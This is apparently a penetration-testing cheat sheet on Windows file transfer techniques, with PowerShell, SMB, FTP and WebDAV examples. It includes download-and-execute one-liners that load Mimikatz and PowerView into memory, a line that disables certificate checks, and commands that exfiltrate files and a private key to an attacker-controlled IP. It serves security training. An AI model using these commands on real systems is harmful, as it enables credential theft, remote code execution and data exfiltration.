πWindows File Transfer Methods
Introduction
The Windows operating system has evolved over the past few years, and new versions come with different utilities for file transfer operations. Understanding file transfer in Windows can help both attackers and defenders. Attackers can use various file transfer methods to operate and avoid being caught. Defenders can learn how these methods work to monitor and create the corresponding policies to avoid being compromised.
The term "fileless" suggests that a threat doesn't come in a file, they use legitimate tools built into a system to execute an attack. This doesn't mean that there's not a file transfer operation. The file is not "present" on the system but runs in memory.
Download Operations
PowerShell Base64 Encode & Decode
Depending on the file size we want to transfer, we can use different methods that do not require network communication. If we have access to a terminal, we can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content.
Check MD5 Hash on Linux:
md5sum id_rsa
# Output: 4e301756a07ded0a2dd6953abf015278 id_rsaEncode File to Base64 on Linux:
cat id_rsa | base64 -w 0; echo
# Output: LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K...Decode Base64 on Windows:
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K..."))Verify MD5 Hash on Windows:
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5β οΈ Note: Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.
PowerShell Web Downloads
Most companies allow HTTP and HTTPS outbound traffic through the firewall. PowerShell offers many file transfer options using the System.Net.WebClient class.
WebClient Methods:
OpenRead- Returns data from resource as StreamOpenReadAsync- Returns data without blocking calling threadDownloadData- Downloads data and returns Byte arrayDownloadDataAsync- Downloads data without blocking calling threadDownloadFile- Downloads data to local fileDownloadFileAsync- Downloads data to local file without blockingDownloadString- Downloads String from resourceDownloadStringAsync- Downloads String without blocking calling thread
PowerShell DownloadFile Method:
# Synchronous download
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Asynchronous download
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')PowerShell DownloadString - Fileless Method:
# Download and execute directly in memory
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
# Using pipeline
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEXPowerShell Invoke-WebRequest:
# Available from PowerShell 3.0 onwards (slower than WebClient)
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
# Using aliases
iwr https://example.com/file.txt -OutFile file.txt
curl https://example.com/file.txt -OutFile file.txt
wget https://example.com/file.txt -OutFile file.txtCommon Errors and Solutions:
Internet Explorer Configuration Error:
# Error: Internet Explorer first-launch configuration not complete
# Solution: Use -UseBasicParsing parameter
Invoke-WebRequest https://example.com/file.txt -UseBasicParsing | IEXSSL/TLS Certificate Error:
# Bypass SSL certificate validation
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}SMB Downloads
The Server Message Block protocol (SMB) runs on port TCP/445 and is common in enterprise networks.
Create SMB Server on Linux:
sudo impacket-smbserver share -smb2support /tmp/smbshareDownload from SMB Server:
copy \\192.168.220.133\share\nc.exeFor newer Windows versions (authenticated SMB):
# Create SMB server with credentials
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test# Mount SMB share with credentials
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exeFTP Downloads
FTP uses ports TCP/21 and TCP/20 for file transfers.
Setup FTP Server on Linux:
# Install pyftpdlib
sudo pip3 install pyftpdlib
# Start FTP server
sudo python3 -m pyftpdlib --port 21Download via PowerShell:
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')Download via FTP Client (non-interactive):
# Create command file
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
# Execute FTP commands
ftp -v -n -s:ftpcommand.txtUpload Operations
PowerShell Base64 Encode & Decode
Encode File on Windows:
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))Get MD5 Hash on Windows:
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select HashDecode Base64 on Linux:
echo <base64_string> | base64 -d > hosts
md5sum hosts # Verify hashPowerShell Web Uploads
PowerShell doesn't have a built-in upload function, but we can use Invoke-WebRequest or Invoke-RestMethod.
Setup Upload Server on Linux:
# Install uploadserver
pip3 install uploadserver
# Start upload server
python3 -m uploadserver
# File upload available at /upload on port 8000Upload via PowerShell Script:
# Download and use PSUpload.ps1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hostsBase64 Web Upload:
# Encode and POST via web request
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64Catch with Netcat:
nc -lvnp 8000
# Then decode the base64 content
echo <base64_content> | base64 -d -w 0 > hostsSMB Uploads
Companies usually allow outbound HTTP/HTTPS but block SMB (TCP/445). Alternative is to run SMB over HTTP with WebDAV.
WebDAV Setup:
# Install WebDAV modules
sudo pip3 install wsgidav cheroot
# Start WebDAV server
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymousConnect to WebDAV Share:
# Connect to WebDAV
dir \\192.168.49.128\DavWWWRoot
# Upload files
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\β οΈ Note: DavWWWRoot is a special keyword recognized by Windows Shell for WebDAV root connection.
FTP Uploads
Setup FTP Server with Write Access:
sudo python3 -m pyftpdlib --port 21 --writeUpload via PowerShell:
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')Upload via FTP Client:
# Create upload command file
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
# Execute upload
ftp -v -n -s:ftpcommand.txtKey Takeaways
PowerShell is the most versatile tool for file transfers on Windows
Base64 encoding is useful for small files and bypassing restrictions
SMB is fast but often blocked by firewalls
HTTP/HTTPS methods are most likely to work due to firewall policies
WebDAV provides SMB-like functionality over HTTP
FTP is reliable but may require firewall configuration
Always verify file integrity with hash comparisons
Consider "fileless" methods that execute directly in memory
References
Last updated